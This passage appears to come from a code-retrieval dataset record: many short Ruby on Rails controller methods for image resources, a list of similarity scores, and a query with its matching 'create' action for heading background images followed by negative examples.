respond_to do |format|\n format.html\n format.json { render json: @cap_image }\n end\n end", "def index\n @family_images = FamilyImage.all\n\n render json: @family_images\n end", "def index\n @web_display_car_images = WebDisplayCarImage.all\n\n render json:@web_display_car_images\n end", "def show\n coach = Coach.find(params[:id])\n json = coach.to_json({:image_url => ActionController::Base.helpers.asset_path(coach.image_url)})\n\n respond_to do |format|\n format.json {render :json => json}\n end\n end", "def index\n @pictures = Picture.where(foodscape_id: params[:foodscape_id])\n render json: @pictures\n end", "def index\n if params[:single]\n\t url = \"#{API_BASE_URL}/photos/#{params[:id]}.json?token=#{ENV['API_KEY']}\"\n\t response = RestClient.get(url)\n\t @photo = JSON.parse(response.body)\n\telse\n\t url = \"#{API_BASE_URL}/photos.json?token=#{ENV['API_KEY']}\"\n response = RestClient.get(url)\n @photos = JSON.parse(response.body)\t\t \n\tend\n end", "def index\n @images = Image.all\n\n render json: @images\n end", "def image_list\n @images = Picture.where(album_id: params[:album_id])\n respond_to do |format|\n format.json { render json: @images.to_json(methods: [:path])}\n end\n end", "def index\n @variant_images = VariantImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @variant_images }\n end\n end", "def show\n render json:@web_display_car_image\n end", "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.slim\n format.json { render json: @images }\n end\n end", "def show\n @bwimage = Bwimage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @bwimage }\n end\n end", "def create\n @heading_bg_image = HeadingBgImage.new(heading_bg_image_params)\n\n respond_to do |format|\n if @heading_bg_image.save\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully created.' }\n format.json { render :show, status: :created, location: @heading_bg_image }\n else\n format.html { render :new }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def show\n @theoretical_background = TheoreticalBackground.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @theoretical_background }\n end\n end", "def show\n @song = Song.find(params[:id])\n @metadata = @song.metadatum\n @images = BackgroundImage.where(song_id: @song.id)\n end", "def index\n @images = Image.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def index\n render json: Picture.all\n end", "def update\n respond_to do |format|\n if @heading_bg_image.update(heading_bg_image_params)\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully updated.' }\n format.json { render :show, status: :ok, location: @heading_bg_image }\n else\n format.html { render :edit }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def image(id, nsfw = false)\n img = get url: \"images/#{id}\", nsfw: nsfw\n img['image'] if img\n end", "def index\n @images = getmydata(\"Image\")\n pagination\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def images\n bugImages = BugImage.all\n render :json => bugImages.to_json\n end", "def get_images\n {}\n end", "def index\n @advertisements = Advertisement.where(user: current_user).order(updated_at: :desc).with_attached_images\n\n respond_to do |format|\n format.html\n format.json { render json: { advertisements: @advertisements } }\n end\n end", "def index\n @pictures = @album.pictures #JRD111115\n\n respond_to do |format|\n format.html #index.html.erb\n format.json { render json: @pictures}\n end\n end", "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end", "def show\n @image = Image.find(params[:id])\n\n render json: @image\n end", "def show\n render json: @family_image\n end", "def index\n @album = Album.find(params[:album_id])\n @photos = @album.photos\n @photos_j = @album.photos.map { |p| p.json }\n @photo = Photo.new\n @album.add_one_view\n\n # @images = Dir.glob(\"app/assets/images/*.jpg\")\n # pic_hash = @images.first(10).map { |i| {:pic_url => i}}\n # @photos = pic_hash.each_with_index.map {|i,v| {:photo_id => v.to_s + \"1\" }.merge(i) }\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @photos_j }\n end\n end", "def images()\n @photos = all_photos() \n @headers['Content-Type'] = CONTENT_TYPE\n end", "def show\n @category_image = CategoryImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @category_image }\n end\n end", "def heading_bg_image_params\n params.require(:heading_bg_image).permit(:heading_bg_image, :page_heading_id)\n end", "def images\n IbmCloudRest.get \"#{@uri}/images\"\n end", "def get_an_image_thumbnail_given_its_floorplan_id(args = {}) \n get(\"/resource.json/floorplan/#{args[:floorplanId]}/thumb\", args)\nend", "def destroy\n @bgimage = Bgimage.find(params[:id])\n @bgimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bgimages_url }\n format.json { head :no_content }\n end\n end", "def create\n @bgimage = Bgimage.new(params[:bgimage])\n\n respond_to do |format|\n if @bgimage.save\n format.html { redirect_to @bgimage, :notice => 'Bgimage was successfully created.' }\n format.json { render :json => @bgimage, :status => :created, :location => @bgimage }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bgimage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def index\n # @images = Image.all\n # @images = Image.order(\"id\").page(params[:page])\n @images = Image.page(params[:page])\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def show\n @estate_agent_image = EstateAgentsImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @estate_agent_image }\n end\n end", "def index\n @slider_images = SliderImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end", "def new\n @page_img_bg_setting = PageImgBgSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @page_img_bg_setting }\n end\n end", "def list\n @api.get(\"#{@api.path}/Images\")\n end", "def get_img_tags\n @tp = Temp.find_by_id(params[:id])\n @tp.included_images \n render :json => @tp.included_images\n # render :text => @tp.included_images \n end", "def images\n @picturesandmeta = Pictureandmeta.all\n @kind = Kind.find(params[:kind_id])\n Rails.logger.info(\"Kind: #{@kind.inspect}\")\n end", "def show\n @image_url = ImageUrl.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image_url }\n end\n end", "def destroy\n @heading_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to heading_bg_images_url, notice: 'Heading bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def show\n @web_image = WebImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @web_image }\n end\n end", "def index\n @slider_image_types = SliderImageType.all\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @slider_images }\n end\n end", "def getJson\n if params[:id].present?\n render json: (TraditionalRoutePhoto.where(traditional_route_id: params[:id]))\n else\n render json: (TraditionalRoutePhoto.all)\n end\n end", "def items\n @beverages = Beverage.available\n respond_to do |format|\n format.json { render :json => @beverages.to_json(methods: :image_url)}\n end\n end", "def get_images\n @command = :get_images\n # set a flag indicating whether or not the user wants to see all images,\n # including the hidden ones\n show_hidden = (@prev_args.peek(0) == \"-i\" || @prev_args.peek(0) == \"--hidden\")\n # get the images from the RESTful API (as an array of objects)\n uri_str = ( show_hidden ? \"#{@uri_string}?hidden=true\" : @uri_string )\n uri = URI.parse uri_str\n result = hnl_http_get(uri)\n unless result.blank?\n # convert it to a sorted array of objects (from an array of hashes)\n sort_fieldname = 'filename'\n result = hash_array_to_obj_array(expand_response_with_uris(result), sort_fieldname)\n end\n # and print the result\n print_object_array(result, \"Images:\", :style => :table)\n end", "def index\n @animal_images = AnimalImage.all\n end", "def index\n @home_images = HomeImage.all\n end", "def show\n\n @observation = Observation.find(params[:id])\n @coral = Coral.find(params[:coral_id])\n\n @files = Dir.glob(\"app/assets/images/tagged_outlines_thumbs/*\")\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @banner_img = BannerImg.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @banner_img }\n end\n end", "def index\n @images = Image.all\n @categories = Category.all.sort_by(&:name)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @images }\n end\n end", "def show\n render json: { wishes: generate_image_url([@wish]) }\n end", "def index\n @textures = Texture.find(:all, :limit => 20, :order=> 'created_at desc')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @textures }\n end\n end", "def index\n @activity = Activity.find(params[:activity_id])\n @pictures = @activity.pictures\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n if(params[:study])\n @photos = Photo.order(\"rank DESC\").where(\"tag = ?\", params[:study].gsub(\"\\u00A0\", \" \").gsub(\"\\u00C2\", \" \").strip)\n elsif(params[:frontpage])\n @photos = Photo.order(\"rank DESC\").where(\"front_page = ?\", true)\n else\n @photos = Photo.order(\"tag ASC, rank DESC\").all\n end \n\n @photos.each { |photo| photo.medium_url = photo.photo_file.url(:medium) } \n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @photos.to_json({:only => [:name, :image_width], :methods => :medium_url}) }\n end\n end", "def getimagesinfo\n trek = Trek.find_by_id(params[:id])\n send_data(trek.get_images_info.to_json,\n {:type => \"application/json\", :disposition => \"inline\"})\n end", "def show\n @entry = Entry.find(params[:id])\n hash = {:folder_index => 7, :entry_path => 1}\n @index_count = @entry.getImgCount(hash)\n\n hash.delete(\"entry_path\")\n hash[:count] = 5;\n @image_array = @entry.getRndImgFromDir(hash)\n @image_name = @entry.image.split(\"/\").last().split(\"_\").last().split(\".\").first()\n img = @entry.image\n #@image_name = img[img.rindex('/')+1, img.length][img.rindex('_'), img.length]\n #.split(\".\")[0]\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @entry }\n end\n end", "def index_by_age\n @age = Age.find(params[:age_id])\n @gifts = @age.gifts\n render json: @gifts, include: :ages, status: :ok\n end", "def thumb\n @agency_logo = AgencyLogo.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def show\n @text2_image = Text2Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @text2_image }\n end\n end", "def images\n end", "def index\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def index\n\n per_page = 10\n \n # Total number of images\n @total_num_of_images = Image.all.length\n \n @server_info = request.host_with_port\n \n # Params => Search\n @images = _index_1_search_text(per_page)\n \n @contentArray = _index_get_log()\n \n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @images }\n end\n end", "def index\n @product_images = ProductImage.where(product_uuid: params[:product_id])\n render json: @product_images, status: 200\n end", "def index\n @pictures = Picture.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @pictures }\n end\n end", "def thumb\n @agency_image = AgencyImage.find(params[:id])\n respond_to do |format|\n format.jpg # thumb.jpg.flexi\n end\n end", "def status_images\n response = JSON.parse(@client.get(\"/api/v1/status-images\").body)\n return response[\"images\"] || response\n end", "def show\n @imagem = Imagem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @imagem }\n end\n end", "def index\n @combined_images = CombinedImage.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @combined_images }\n end\n end", "def images\n {\n thumbnail: object.thumbnail.url(:large),\n logo: object.logo.url(:medium),\n white_logo: object.white_logo.url(:medium)\n }\n end", "def serv_json\n \"http://api.dribbble.com/shots/popular?page=1\"\n end", "def images() \n uri = URI.parse(\"http://\" + @location.host + \":9292/v2/images\")\n return get_request(uri, @token)\n end", "def index\n @imagems = Imagem.where(:imovel_id => current_user.imovels {|i| i.id})\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @imagems }\n end\n end", "def images; end", "def show\n @motivational_image = MotivationalImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @motivational_image }\n end\n end", "def index\n if params[:floor_id]\n data = {Image: [{id: params[:floor_id], Tags: Tag.find_by(floor: params[:floor_id])}]}\n else\n data = Tag.all\n end\n render json: data\n end", "def show\n @match_image = MatchImage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @match_image }\n end\n end", "def show\n @baby_pic = BabyPic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @baby_pic }\n end\n end", "def index\n @screenshots = Screenshot.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @screenshots }\n end\n end", "def show\n album = Album.includes(:album_images).find(params[:id])\n return_hash = album.attributes\n return_hash['album_images'] = album.album_images\n render json: return_hash\n end", "def index\n @illustrations = Illustration.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @illustrations }\n end\n end", "def show\n @hotel_pic = HotelPic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @hotel_pic }\n end\n end", "def show\n @image = Image.find(params[:id])\n\t\t\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end", "def index\n @goods = Good.where(user: current_user.building.users)\n respond_to do |format|\n format.html\n format.json do\n render json: {\n goods: @goods.map{|g|g.attributes.merge(image: url_for(g.user.profile.pic), ownerId: g.user.id)}\n }\n end\n end\n end", "def index\n @background_images = BackgroundImage.all\n render layout: 'devise_layout' \n end", "def show\n @home_categories_products_indices_photo = Home::Categories::Products::Indices::Photo.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @home_categories_products_indices_photo }\n end\n end", "def get_photos(arg)\n response_str = RestClient.get(\"#{arg}.json\")\n response_hash = JSON.parse(response_str)\n return response_hash\nend", "def show\n @image = Image.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @image }\n end\n end" ]
[ "0.74470675", "0.7115792", "0.65705925", "0.64297235", "0.6429603", "0.6423409", "0.6405757", "0.637211", "0.63674724", "0.63315374", "0.6312085", "0.6267603", "0.62554383", "0.6235422", "0.6222349", "0.6197766", "0.619669", "0.6174919", "0.6158557", "0.6139819", "0.6139061", "0.6130949", "0.61158293", "0.6105607", "0.60672545", "0.6066099", "0.60633194", "0.6047103", "0.6043521", "0.60347694", "0.6032326", "0.6000234", "0.5981205", "0.59731245", "0.59674525", "0.59674525", "0.59543014", "0.5952463", "0.5937501", "0.59222937", "0.59111637", "0.5906663", "0.58863896", "0.5875906", "0.5873032", "0.58729213", "0.58691865", "0.5868463", "0.5855646", "0.5852875", "0.5844219", "0.5839244", "0.5838144", "0.5836662", "0.58213735", "0.581881", "0.5802834", "0.5798461", "0.57956266", "0.57931656", "0.5789592", "0.5775995", "0.577583", "0.57740545", "0.57688177", "0.5765822", "0.57646334", "0.57621026", "0.5760305", "0.57553667", "0.57539", "0.57514024", "0.5750933", "0.5742375", "0.5734862", "0.57330817", "0.5731539", "0.5729955", "0.5728061", "0.570993", "0.57081497", "0.57060564", "0.570377", "0.5699595", "0.5696828", "0.56963027", "0.5694534", "0.56908566", "0.56900734", "0.56866276", "0.5678399", "0.56776434", "0.56674373", "0.56633943", "0.5662972", "0.56574196", "0.5652357", "0.56502116", "0.56458515", "0.5638906", "0.5635445" ]
0.0
-1
POST /heading_bg_images POST /heading_bg_images.json
def create @heading_bg_image = HeadingBgImage.new(heading_bg_image_params) respond_to do |format| if @heading_bg_image.save format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully created.' } format.json { render :show, status: :created, location: @heading_bg_image } else format.html { render :new } format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def heading_bg_image_params\n params.require(:heading_bg_image).permit(:heading_bg_image, :page_heading_id)\n end", "def create\n @bgimage = Bgimage.new(params[:bgimage])\n\n respond_to do |format|\n if @bgimage.save\n format.html { redirect_to @bgimage, :notice => 'Bgimage was successfully created.' }\n format.json { render :json => @bgimage, :status => :created, :location => @bgimage }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @bgimage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_heading_bg_image\n @heading_bg_image = HeadingBgImage.find(params[:id])\n end", "def index\n @heading_bg_images = HeadingBgImage.all\n end", "def create\n @admin_bg_image = BgImage.new(admin_bg_image_params)\n\n respond_to do |format|\n if @admin_bg_image.save\n format.html { redirect_to admin_bg_image_path(@admin_bg_image), notice: 'Bg image was successfully created.' }\n format.json { render :show, status: :created, location: @admin_bg_image }\n else\n format.html { render :new }\n format.json { render json: @admin_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n respond_to do |format|\n if @background_image.save\n format.html { redirect_to @background_image, notice: 'Image was successfully created.' }\n # format.json { render :show, status: :created, location: @background_image }\n else\n format.html { render :new }\n # format.json { render json: @background_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @heading_bg_image.update(heading_bg_image_params)\n format.html { redirect_to @heading_bg_image, notice: 'Heading bg image was successfully updated.' }\n format.json { render :show, status: :ok, location: @heading_bg_image }\n else\n format.html { render :edit }\n format.json { render json: @heading_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_params\n params.require(:background_image).permit(:image)\n end", "def create\n #debugger\n blog = blog_params[:name]\n @user = User.find(session[:user_id])\n\n params[:image][:attached_assets_attrs].each do |item|\n ImgGroup.post item[:asset], @user, blog\n end\n\n respond_to do |format|\n format.html { render action: 'done' }\n format.json { render text: 'All posted.', status: :created, location: @image }\n end\n end", "def admin_bg_image_params\n params.require(:bg_image).permit(:current, :image, :title)\n end", "def create\n @page_img_bg_setting = PageImgBgSetting.new(params[:page_img_bg_setting])\n\n respond_to do |format|\n if @page_img_bg_setting.save\n format.html { redirect_to @page_img_bg_setting, :notice => 'Page img bg setting was successfully created.' }\n format.json { render :json => @page_img_bg_setting, :status => :created, :location => @page_img_bg_setting }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @page_img_bg_setting.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @bgimage = Bgimage.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def image_params\n params.require(:background).permit(:name, :background)\n end", "def destroy\n @heading_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to heading_bg_images_url, notice: 'Heading bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def create\n @banner_img = BannerImg.new(params[:banner_img])\n\n respond_to do |format|\n if @banner_img.save\n format.html { redirect_to @banner_img, notice: 'Banner img was successfully created.' }\n format.json { render json: @banner_img, status: :created, location: @banner_img }\n else\n format.html { render action: \"new\" }\n format.json { render json: @banner_img.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @admin_bg_image.update(admin_bg_image_params)\n format.html { redirect_to admin_bg_image_path(@admin_bg_image), notice: 'Bg image was successfully updated.' }\n format.json { render :show, status: :ok, location: @admin_bg_image }\n else\n format.html { render :edit }\n format.json { render json: @admin_bg_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @bgimage = Bgimage.find(params[:id])\n @bgimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bgimages_url }\n format.json { head :no_content }\n end\n end", "def update\n @bgimage = Bgimage.find(params[:id])\n\n respond_to do |format|\n if @bgimage.update_attributes(params[:bgimage])\n format.html { redirect_to @bgimage, :notice => 'Bgimage was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bgimage.errors, :status => :unprocessable_entity }\n end\n end\n end", "def landing_image_params\n params.require(:landing_image).permit(:title, :subtitle, :background, :addon_image)\n end", "def create\n @post_img = PostImg.new(post_img_params)\n\n respond_to do |format|\n if @post_img.save\n format.html { redirect_to @post_img, notice: 'Post img was successfully created.' }\n format.json { render :show, status: :created, location: @post_img }\n else\n format.html { render :new }\n format.json { render json: @post_img.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @admin_bg_images = BgImage.all\n end", "def show\n @bgimage = Bgimage.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @bgimage }\n end\n end", "def new\n @page_img_bg_setting = PageImgBgSetting.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @page_img_bg_setting }\n end\n end", "def create\n\n require 'RMagick'\n @images_added = []\n\n # params[:design_images] is set by a js library (Dropzone.js) and defined on dynamic_pages.js paramName\n params[:design_images].each do |array_file|\n\n # uploaded file example\n # {\"0\"=>#<ActionDispatch::Http::UploadedFile:0x007f88cf70b728 @tempfile=#<Tempfile:/var/folders/tx/fcpjq87x6b19sl3dvvm8fr040000gn/T/RackMultipart20150803-99318-18nmoiu.jpg>, @original_filename=\"10881656_10201963394846606_706439852029346946_n.jpg\", @content_type=\"image/jpeg\", @headers=\"Content-Disposition: form-data; name=\\\"singular_design[0]\\\"; filename=\\\"10881656_10201963394846606_706439852029346946_n.jpg\\\"\\r\\nContent-Type: image/jpeg\\r\\n\">, \"1\"=>#<ActionDispatch::Http::UploadedFile:0x007f88cf70b610 @tempfile=#<Tempfile:/var/folders/tx/fcpjq87x6b19sl3dvvm8fr040000gn/T/RackMultipart20150803-99318-1loctd5.jpg>, @original_filename=\"11062261_825163280904553_6934851262428256525_n.jpg\", @content_type=\"image/jpeg\", @headers=\"Content-Disposition: form-data; name=\\\"singular_design[1]\\\"; filename=\\\"11062261_825163280904553_6934851262428256525_n.jpg\\\"\\r\\nContent-Type: image/jpeg\\r\\n\">}\n\n uploaded_file = array_file.last\n\n # file checking (size and filetype)\n return false if !valid_img? uploaded_file\n\n # main image random filename\n random_filename = build_filename(uploaded_file)\n\n image = Magick::Image.from_blob(uploaded_file.read).first\n original_width = image.columns # columns are pixels\n original_height = image.rows # rows are pixels\n\n # just resize if image is larger in width\n image = image.resize_to_fit(2000, original_height) if original_width >= 2000\n image.write(Rails.root.join('public', 'assets', 'uploads','designs', random_filename))\n\n # thumbnail image random filename\n thumb_random_filename = build_filename(uploaded_file, true)\n thumbnail = image.resize_to_fill(250, 150)\n thumbnail.write(Rails.root.join('public', 'assets', 'uploads','designs', thumb_random_filename))\n\n # generating link for this new design\n random_link = SecureRandom.hex(4)\n\n while Design.exists?(link: random_link) == true do random_link = SecureRandom.hex(4) end\n\n @design = Design.new(user_id: current_user.id,\n link: random_link,\n image_path: random_filename,\n image_thumb_path: thumb_random_filename)\n\n @images_added << @design if @design.save\n end\n\n respond_to do |format|\n format.html { redirect_to :individuais }\n format.json { render json: @images_added }\n end\n end", "def create\n @bwimage = Bwimage.new(params[:bwimage])\n\n respond_to do |format|\n if @bwimage.save\n format.html { redirect_to @bwimage, notice: 'Bwimage was successfully created.' }\n format.json { render json: @bwimage, status: :created, location: @bwimage }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bwimage.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @bg_setup = BgSetup.new(params[:bg_setup])\n\n respond_to do |format|\n if @bg_setup.save\n format.html { redirect_to @bg_setup, notice: 'Bg setup was successfully created.' }\n format.json { render json: @bg_setup, status: :created, location: @bg_setup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @bg_setup.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @results = []\n\n unless params[:files].nil?\n params[:files].each do |data|\n img = Image.new\n img.filename = data.original_filename\n img.data = data.read\n img.upload_id = params[:uuid]\n img.visitation_form_id = params[:formId]\n img.image_type = params[:imageType]\n img.content_type = data.content_type\n #img.temp_index = params[:birdIndex]\n img.bird_id = params[:birdId]\n\n if !img.save\n render :json => { :errors => img.errors.full_messages }, :status => 400 and return\n else\n @results << { name: img.filename, imageType: img.image_type, id: img.id }\n end\n end\n end\n\n render json: { files: @results }\n end", "def get_images_data\t\t\t\t\t\t\n\t\t{ payload: { 'makes' => makes_dropdown, 'images' => images_array('none').compact}, success: true}\n\tend", "def create\n\n# nombreImagen = SecureRandom.uuid + File.extname(contest_params[:banner].original_filename)\n# carpeta = File.join(Rails.public_path, \"uploaded_images\", Time.now.strftime(\"%Y-%m-%d\"))\n# rutaAbsoluta = File.join(carpeta, nombreImagen)\n# FileUtils.mkdir_p(carpeta)\n# File.open(rutaAbsoluta, 'wb') do |f|\n# f.write(contest_params[:banner].read)\n# end\n \n# params[:contest][:banner] = \"/uploaded_images/\" + Time.now.strftime(\"%Y-%m-%d\") + \"/\" + nombreImagen\n params[:contest][:url] = \"http://\" + request.host + \":\" + (request.port.to_s) +\"/contests/join/\" + params[:contest][:url]\n params[:contest][:administrator_id] = current_user.id;\n @contest = Contest.new(contest_params)\n\n respond_to do |format|\n if @contest.save\n format.html { redirect_to @contest, notice: 'Contest was successfully created.' }\n format.json { render :show, status: :created, location: @contest }\n else\n format.html { render :new }\n format.json { render json: @contest.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n msg = \"\"\n if params[:client_images].present?\n params[:client_images].split(\",\").each do |image_ur|\n if @client.client_images.where(stage_id: params[:client_image][:stage_id]).count < 10\n params[:client_image][:file] = image_ur\n client_image = @client.client_images.new(client_image_params)\n client_image.save\n else\n msg = \"Client has only 10 client images per stage\"\n break\n end\n end\n else\n msg = \"Please choose the images\"\n end\n\n notice = msg.present? ? msg : \"Client images were successfully created.\"\n\n if params[:manage_image]\n respond_to do |format|\n format.html { redirect_to client_client_images_path(params[:client_id], stage_id: params[:client_image][:stage_id]), notice: notice }\n # format.json { render :show, status: :created, location: @client_image }\n end\n else\n respond_to do |format|\n format.html { redirect_to redirect_panel_path, notice: notice }\n # format.json { render :show, status: :created, location: @client_image }\n end\n end\n end", "def create\n @used_bike = UsedBike.new(used_bike_params)\n\n if @used_bike.save\n adding_images(params)\n render json: @used_bike, status: :created, serializer: Web::V1::UsedBikeSerializer\n else\n render json: @used_bike.errors, status: :unprocessable_entity\n end\n end", "def create\n @wild_type_background = WildTypeBackground.new(wild_type_background_params)\n\n respond_to do |format|\n if @wild_type_background.save\n format.html { redirect_to @wild_type_background, notice: \"Wild type background was successfully created.\" }\n format.json { render :show, status: :created, location: @wild_type_background }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @wild_type_background.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @animal_image = AnimalImage.new(animal_image_params)\n\n respond_to do |format|\n if @animal_image.save\n format.html { redirect_to @animal_image, notice: \"Animal image was successfully created.\" }\n format.json { render :show, status: :created, location: @animal_image }\n else\n format.html { render :new }\n format.json { render json: @animal_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @catebg = Catebg.new(params[:catebg])\n\n respond_to do |format|\n if @catebg.save\n format.html { redirect_to @catebg, notice: 'Catebg was successfully created.' }\n format.json { render json: @catebg, status: :created, location: @catebg }\n else\n format.html { render action: \"new\" }\n format.json { render json: @catebg.errors, status: :unprocessable_entity }\n end\n end\n end", "def img_params\n\n end", "def set_admin_bg_image\n @admin_bg_image = BgImage.find(params[:id])\n end", "def image_cover_save\n result = RestaurantManage.image_cover_save(@restaurant, params[:cover_id])\n get_restaurant()\n render json: result\n end", "def create\n @user = current_account\n # @category = Category.new(category_params)\n @category = @user.categories.build(category_params)\n respond_to do |format|\n if @category.save\n unless params[:images].nil?\n params[:images]['url'].each do |img|\n @image = @category.images.create!(url: img, category_id: @category.id)\n end\n end\n format.html { redirect_to categories_path, notice: 'Category was successfully created.' }\n format.json { render :index, status: :created, location: @category } \n else\n format.html { render :new }\n format.json { render json: @category.errors, status: :unprocessable_entity }\n end\n end\n end", "def create_backgrounds\n create_over\n create_hud_bg\n create_under\n create_flow\n end", "def create_image_features(request)\n http_request = request.to_http_info(@api_client.config)\n make_request(http_request, :POST, nil)\n nil\n end", "def create\n @web_display_car_image = WebDisplayCarImage.new(web_display_car_image_params)\n\n if@web_display_car_image.save\n render json:@web_display_car_image, status: :created\n else\n render json:@web_display_car_image.errors, status: :unprocessable_entity\n end\n end", "def create\n image = Image.create(image_params)\n\n if image.new_record?\n render json: { errors: image.errors.messages }, status: 422\n else\n render json: image, status: 201\n end\n end", "def create\n @vehicle_type = VehicleType.new(vehicle_type_params)\n\n respond_to do |format|\n if @vehicle_type.save\n images\n\n format.html { redirect_to @vehicle_type, notice: 'Vehicle type was successfully created.' }\n format.json { render json: @vehicle_type, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: @vehicle_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n #@experience_image = ExperienceImage.new(experience_image_params)\n logger.debug \"The params coming in are:#{params.inspect}\"\n @experience_image = ExperienceImage.new(experience_image_params)\n logger.debug \"The file created is: #{@experience_image.inspect}\"\n\n\n respond_to do |format|\n if @experience_image.save\n format.json{ render :json => @experience_image }\n else\n format.json { render json: @experience_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def background_params\n params.fetch(:background, {})\n .permit(\n :cover_image, :author_id\n )\n end", "def create\n @image = Image.new(params[:image])\n type = @image.url_type\n #response.headers[\"Content-type\"] = \"text/plain\"\n if @image.save\n render :text => [ @image.to_jq_upload(type, \"image\") ].to_json.to_s\n else \n render :text => [ @image.to_jq_upload(type, \"image\").merge({ :error => \"custom_failure\" }) ].to_json.to_s\n end\n end", "def create\n @classfield_image = ClassfieldImage.new(classfield_image_params)\n\n respond_to do |format|\n if @classfield_image.save\n format.html { redirect_to @classfield_image, notice: 'Classfield image was successfully created.' }\n format.json { render :show, status: :created, location: @classfield_image }\n else\n format.html { render :new }\n format.json { render json: @classfield_image.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @family_image = FamilyImage.new(family_image_params)\n\n if @family_image.save\n render json: @family_image, status: :created, location: @family_image\n else\n render json: @family_image.errors, status: :unprocessable_entity\n end\n end", "def create\r\n\r\n redirect_to(:action => :index) and return unless request.post?\r\n redirect_to(:action => :index) and return if params[:bg_worker].blank? || !params[:bg_worker].is_a?(Hash)\r\n @bg_worker_attributes = params[:bg_worker] ? params[:bg_worker]['0'].clone : {}\r\n\r\n @bg_worker = BgWorker.load_from_params(@bg_worker_attributes)\r\n if 